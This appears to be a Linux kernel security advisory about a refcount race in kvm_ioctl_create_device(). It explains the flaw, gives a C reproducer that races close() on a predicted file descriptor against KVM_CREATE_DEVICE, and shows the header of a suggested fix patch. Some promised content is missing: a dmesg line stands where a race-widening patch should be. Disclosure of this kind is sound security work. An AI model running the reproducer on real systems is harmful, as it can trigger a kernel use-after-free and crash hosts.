Linux - 'kvm_ioctl_create_device()' NULL Pointer Dereference
Код:
kvm_ioctl_create_device() contains the following code:

        dev = kzalloc(sizeof(*dev), GFP_KERNEL);
        if (!dev)
                return -ENOMEM;

        dev->ops = ops;
        dev->kvm = kvm;

        mutex_lock(&kvm->lock);
        ret = ops->create(dev, cd->type);
        if (ret < 0) {
                mutex_unlock(&kvm->lock);
                kfree(dev);
                return ret;
        }
        list_add(&dev->vm_node, &kvm->devices);
        mutex_unlock(&kvm->lock);

        if (ops->init)
                ops->init(dev);

        ret = anon_inode_getfd(ops->name, &kvm_device_fops, dev, O_RDWR | O_CLOEXEC);
        if (ret < 0) {
                mutex_lock(&kvm->lock);
                list_del(&dev->vm_node);
                mutex_unlock(&kvm->lock);
                ops->destroy(dev);
                return ret;
        }

        kvm_get_kvm(kvm);
        cd->fd = ret;

This code:

1. creates a device that holds a reference to the VM object (with a borrowed
   reference, the VM's refcount has not been bumped yet)
2. initializes the device
3. transfers the reference to the device to the caller's file descriptor table
4. calls kvm_get_kvm() to turn the borrowed reference to the VM into a real
   reference

The ownership transfer in step 3 must not happen before the reference to the VM
becomes a proper, non-borrowed reference, which only happens in step 4.
After step 3, an attacker can close the file descriptor and drop the borrowed
reference, which can cause the refcount of the kvm object to drop to zero.

Reproducer code:

=================================
// run as `gcc -o kvm_fd_install kvm_fd_install.c -Wall -pthread && ./kvm_fd_install`
#include <pthread.h>
#include <fcntl.h>
#include <err.h>
#include <linux/kvm.h>
#include <sys/ioctl.h>
#include <stdio.h>
#include <unistd.h>

static int predicted_fd = -1;
static volatile int ready = 0;

static void *do_close_predicted_fd(void *dummy) {
  ready = 1;
  while (1) close(predicted_fd);
  return NULL; /*unreachable*/
}

int main(void) {
  int kvm = open("/dev/kvm", O_RDWR);
  if (kvm == -1) err(1, "open kvm");
  int vm = ioctl(kvm, KVM_CREATE_VM, 0);
  if (vm < 0) err(1, "KVM_CREATE_VM");

  predicted_fd = dup(0);
  if (predicted_fd == -1) err(1, "dup");
  close(predicted_fd);

  pthread_t thread;
  if (pthread_create(&thread, NULL, do_close_predicted_fd, NULL)) errx(1, "pthread_create");
  while (ready == 0) /*spin*/;

  struct kvm_create_device cd = {
    .type = KVM_DEV_TYPE_VFIO,
    .fd = -1, //outparm
    .flags = 0
  };
  if (ioctl(vm, KVM_CREATE_DEVICE, &cd)) err(1, "KVM_CREATE_DEVICE");
  printf("created device: %d\n", cd.fd);
}

To reliably reproduce the issue, patch the kernel as follows to widen the race:

[  251.161513] Fixing recursive fault but reboot is needed!
=================================

I have requested a CVE identifier from MITRE, but haven't heard back yet.

I am attaching a suggested patch; here's an inline copy for review (with
clobbered whitespace):

===========================================
From 7396c501baf3f066c05a74c790775c2c686be8a7 Mon Sep 17 00:00:00 2001
From: Jann Horn <[email protected]>
Date: Sat, 26 Jan 2019 01:19:40 +0100
Subject: [PATCH] kvm: fix temporary refcount drop in kvm_ioctl_create_device()

As soon as we call anon_inode_getfd(), userspace can close the device,
causing a kvm_put_kvm() call that drops a reference. This means that we
need to grab a reference for the device before anon_inode_getfd(),
otherwise the VM can disappear from under us.

Fixes: 852b6d57dc7f ("kvm: add device control API")
